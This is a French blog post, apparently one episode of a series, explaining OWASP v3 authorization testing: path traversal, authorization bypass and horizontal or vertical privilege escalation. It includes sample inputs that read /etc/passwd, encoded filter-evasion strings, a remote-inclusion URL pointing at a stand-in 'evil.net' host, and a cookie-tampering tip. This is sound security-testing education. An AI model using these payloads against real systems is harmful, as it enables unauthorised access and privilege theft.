[STANDARD] OWASP - Episode 5

Ce post traite la quatrième phase des tests actifs. Ils sont relatifs à l'autorisation sur les ressources (utilisateurs, fichiers, données, etc.) gérées par l'application WEB testée. Le but des attaques présentées est de trouver l'accès à des ressources protégées ou de réaliser une escalade de privilèges.

1 - Avant-propos

Nous continuons notre aventure à la découverte de la norme OWASP v3 dans ce cinquième épisode. De nom originel "Authorization Testing", il s'agit du chapitre 4.6 de la norme. A noter que cette partie aborde plus des points d'attaque que des attaques précises. En effet, une escalade de privilège suit rarement un acheminement précis sauf dans le cas d'un exploit existant qui entre dans le cadre d'une vulnérabilité trouvée.


2 - Phase de tests actifs 4 - tests sur les autorisations

2.1 - AZ-001 : Traverse de répertoires (ou "Path Traversal")

Nous allons mener cette attaque en deux étapes :

1/ Rechercher les points susceptibles d'être vulnérable à une telle attaque : URL, cookie, et autres points contenant ou acceptant un point d'entrée (généralement, avec le signe "=").
2/ Tester l'attaque dont voici quelques exemples :

• dot dot slash attack. Ex : ../../../etc/passwd ;
• injecter une URL malicieuse dans une URL de l'application. Ex : http://www.cible.php?page=http://evil.net/script_malicieux
• tenter de dévoiler le code source d'une partie de l'application. Ex : http://www.cible.com/function.cgi?file=trouverez-vous-mon-code-source.cgi.

Dans le cas où un filtrage des caractères est mis en place, il est bon de savoir que :

• ../ s'écrit aussi %2e%2e%2f ou encore ..%c0%af
• ..\ s'écrit aussi %2e%2e%5c ou %252e%252e%255c ou encore ..%c1%9c

Dans le cadre d'un test en boîte grise, la méthodologie est la même (suivre les deux mêmes étapes). La différence est que les points d'entrée devront être cherchés dans les fonctions spécifiques comme par exemple :

• include() en PHP ;
• java.io.file() en JSP.

2.2 - AZ-002 : Contournement des autoriations

Pour cette partie, il n'existe pas de manière précise d'opérer. Cependant, répondre aux questions suivante en effectuant les tests associés permettra à de savoir si les autorisations appliquées à l'application peuvent être contournées ... quand elles existent.

• Peut-on accéder à la ressource non autorisée sans être connecté ? Une fois déconnecté ?
• Est-il possible d'accéder à une ressource administrative avec un compte standard ?
• Dans les requêtes HTTP, est-il possible de modifier certains paramètres pour obtenir de nouveaux droits ?
• Tester si un utilisateur qui ne devrait pas avoir accès à une certaine ressource ne peut effectivement pas y être autorisé.

2.3 - AZ-003 : Escalade de privilèges

Tout d'abord, il est important de savoir qu'il existe deux types d'escalade de privilège afin que les tests soient exhaustifs :

• L'escalade horizontale : elle consiste à accéder à une ressource d'un autre utilisateur qui a les mêmes droits que nous (ex : le compte mail d'un autre utilisateur) ;
• L'escalade verticale : elle consiste à accéder à des ressources requérant des droits supérieurs (ex : des droits administrateurs alors que nous n'avons qu'une compte utilisateur standard).

Les tests se font de la manière suivante :

• commencer par trouver les champs susceptibles de permettre une escalade de privilèges (ex : un champ caché contenant un ID ou un niveau d'autorisation) ;
• modifier les valeurs repérées et voir le comportement de l'application. Est-ce que la modification nous fournit l'accès à de nouvelles ressources ? A des ressources demandant normalement un accès privilégié ?

Pour que ce soit plus clair, il suffit d'imaginer par exemple que le niveau d'authentification est fourni dans le cookie : Session-ID=3-adebadbcaf85cc43+adfg32+56defc, le premier chiffre avant le tiret (ici, 3) pourrait très bien représenter le niveau d'authentification. Essayer donc avec "1" ou "5".


La suite au prochain épisode ...